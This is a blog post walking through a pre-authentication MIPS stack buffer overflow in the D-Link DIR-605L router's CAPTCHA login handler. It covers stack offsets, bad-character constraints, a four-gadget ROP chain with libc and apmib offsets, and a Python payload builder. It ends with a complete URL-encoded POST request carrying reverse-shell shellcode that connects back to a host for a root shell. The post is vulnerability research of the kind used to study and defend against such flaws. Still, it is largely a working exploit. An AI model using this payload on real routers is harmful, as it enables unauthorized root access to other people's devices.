Exploiting a MIPS Stack Overflow – /dev/ttyS0

Although D-Link’s CAPTCHA login feature has a history of implementation flaws and has been proven to not protect against the threat it was intended to thwart, they continue to keep this feature in their products. Today we’ll be looking at the CAPTCHA implementation in the D-Link DIR-605L, which is a big-endian MIPS system running Linux 2.4.

A pre-authentication vulnerability exists in the DIR-605L’s processing of the user-supplied CAPTCHA data from the Web-based login page. The formLogin function in the Boa Web server is responsible for handling the login data, and obtains the value of the FILECODE POST variable using the websGetVar function. The FILECODE value contains a unique string identifying the CAPTCHA image displayed on the login page, and is saved to the $s1 register:

$s1 = FILECODE

If the CAPTCHA feature is enabled, this value is later passed as the second argument to the getAuthCode function:

FILECODE value being passed to getAuthCode

The getAuthCode function saves the FILECODE value back to the $s1 register:

$s1 = $a1

Which in turn is passed as the third argument to sprintf, (note the ‘%s’ in the sprintf format string):

sprintf’s are bad, mmmk?

The result of the sprintf is saved to the address contained in $s0, which is the address of the stack variable var_80:

$a0 = var_80

This is a classic stack based buffer overflow, and overflowing var_80 allows us to control all of the register values saved onto the stack by getAuthCode’s function prologue, including the saved return address and the saved values of the $s0 – $s3 registers:

getAuthCode stack layout

From the stack layout above, we can see that the beginning of the var_80 stack variable (-0x80) is 0x78 bytes away from the saved return address (-0x08). The format string passed to the sprintf function is “/var/auth/%s.msg”, so there are 10 bytes (“/var/auth/”) that are copied into the var_80 buffer before our user-supplied content.

This means that supplying 0x78 – 0x0A = 0x6E byte long FILECODE value will overflow all of the stack values up to the saved return address, and the next four bytes should overwrite the saved return address on the stack. We can test this by setting a breakpoint on the return from getAuthCode and sending the following POST request:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 232


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDDD&login_name=&curTime=1348588030496&login_n=admin&login_pass=Zm9vb255b3UA&VER_CODE=

Registers at getAuthCode return

Excellent! But before we can build an exploit, we need to examine some of the constraints that we’ll need to deal with. First of all, any payload we send obviously must be NULL free, however, it also cannot contain the character ‘g’. This is due to the fact that prior to calling getAuthCode, the formLogin function looks for the first instance of the character ‘g’, and if found, replaces the next byte with 0x00:

strchr(FILECODE, ‘g’);

Beyond this, we have virtually no restrictions on the content of our payload. We will however need to deal with cache incoherency, so we’ll use a few MIPS ROP techniques to flush the MIPS data cache and obtain a relative pointer back to our data on the stack in order to gain arbitrary code execution.

The easiest and most reliable method of flushing the cache that I’ve found is to force it to call a blocking function such as sleep(1), or similar. During sleep the processor will switch contexts to give CPU cycles to other running processes and the cache will be flushed automatically. At offset 0x248D4 in libc.so we find the following:

First ROP gadget

This loads the value 1 into $a0, then copies the value of $s1 (which we control) into $t9 and performs a jump and link to $t9; this is perfect for setting up the argument to sleep(), so we will use this as our first ROP gadget. We will point $s1 at a our next ROP gadget, offset 0x2B954 in libc.so:

Second ROP gadget

This copies the value of $s2 (which we control) into $t9, restores the value of $ra from the stack and then jumps to the address loaded in $t9. Since we control both $s2 and data on the stack, we can ensure that $s2 contains the address of the sleep function (located at offset 0x23D30 in libc.so), and also control the value loaded into $ra. This means that not only can we call sleep, but we can control where it returns to. Note that it also allows us to load new values from the stack into registers $s0 – $s4.

Next, we find a relative stack reference in another library, apmib.so. At offset 0x27E8 it copies the stack pointer plus an offset of 0x1C into the $a2 register, then calls $s1:

Third ROP gadget

If we cause $s1 to point to offset 0x1D78 in the apmib.so library, it will copy $a2 (which now contains a pointer to the stack) into $t9, then jump and link to $t9:

Fourth ROP gadget

Attentive readers may notice that the first and third gadgets require $s1 to point to different addresses. However, recall that our second gadget loads data from a different location on the stack into $s1, so after the first gadget is finished we can load $s1 with a new value and re-use it in our third ROP gadget.

Thus, we need to craft our stack such that:

  • The function epilogue of getAuthCode loads 0x2B954 into $s1, the address of sleep (0x23D30) into $s2, and 0x248D4 into $ra
  • The second ROP gadget loads 0x1D78 into $s1 and 0x27E8 into $ra
  • Our shellcode must be located at $sp+0x1C after sleep returns

Taking the base addresses of the libc.so and apmib.so libraries into account, our payload then becomes:

        libc  = 0x2ab86000
        apmib = 0x2aaef000

        payload = MIPSPayload(endianess="big", badbytes=[0x00, 0x67])

        payload.AddBuffer(94)                      # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x2B954, base=libc)     # $s1
        payload.AddAddress(0x23D30, base=libc)     # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddAddress(0x248D4, base=libc)     # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.AddBuffer(4)                       # $s0
        payload.AddAddress(0x01D78, base=apmib)    # $s1
        payload.AddBuffer(4)                       # $s2
        payload.AddBuffer(4)                       # $s3
        payload.AddBuffer(4)                       # $s4
        payload.AddAddress(0x027E8, base=apmib)    # $ra
        payload.AddBuffer(0x1C)                    # filler
        payload.Add(shellcode)                     # shellcode 

It should be noted that the shellcode piece is in itself non-trivial. While I won’t discuss MIPS shellcoding here, just about any MIPS shellcode found online will not work out of the box (except for maybe some simple reboot shellcode). They may work on the specific systems they were tested against, but aren’t very generic and will likely need some tweaking. I will be using some slightly modified reverse shell code that should work on most MIPS systems.

The final POST request contains none of our restricted characters, and looks like:

POST /goform/formLogin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 894


VERIFICATION_CODE=myvoiceismypassportverifyme&FILECODE=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%BB%19T%2A%BA%9D0AAAA%2A%BA%A8%D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%2A%AF%0DxAAAAAAAAAAAA%2A%AF%17%E8AAAAAAAAAAAAAAAAAAAAAAAAAAAA%24%0F%FF%FA%01%E0x%27%21%E4%FF%FD%21%E5%FF%FD%28%06%FF%FF%24%02%10W%01%01%01%0C%AF%A2%FF%FF%8F%A4%FF%FF4%0F%FF%FD%01%E0x%27%AF%AF%FF%E0%3C%0E%1F%905%CE%1F%90%AF%AE%FF%E4%3C%0E%7F%015%CE%01%01%AF%AE%FF%E6%27%A5%FF%E2%24%0C%FF%EF%01%800%27%24%02%10J%01%01%01%0C%24%0F%FF%FD%01%E0x%27%8F%A4%FF%FF%01%E0%28%21%24%02%0F%DF%01%01%01%0C%24%10%FF%FF%21%EF%FF%FF%15%F0%FF%FA%28%06%FF%FF%3C%0F%2F%2F5%EFbi%AF%AF%FF%EC%3C%0En%2F5%CEsh%AF%AE%FF%F0%AF%A0%FF%F4%27%A4%FF%EC%AF%A4%FF%F8%AF%A0%FF%FC%27%A5%FF%F8%24%02%0F%AB%01%01%01%0C&curTime=1348588030496&VER_CODE=1234&login_n=admin&login_pass=Zm9vb255b3UA&login_name=admin

And results in:

Reverse root shell

Success. 🙂

For those interested, PoC code that spawns a reverse root shell to 192.168.1.100:8080 and has been tested against firmware versions 1.10, 1.12 and 1.13 can be found here.

Bookmark the permalink.

Comments are closed.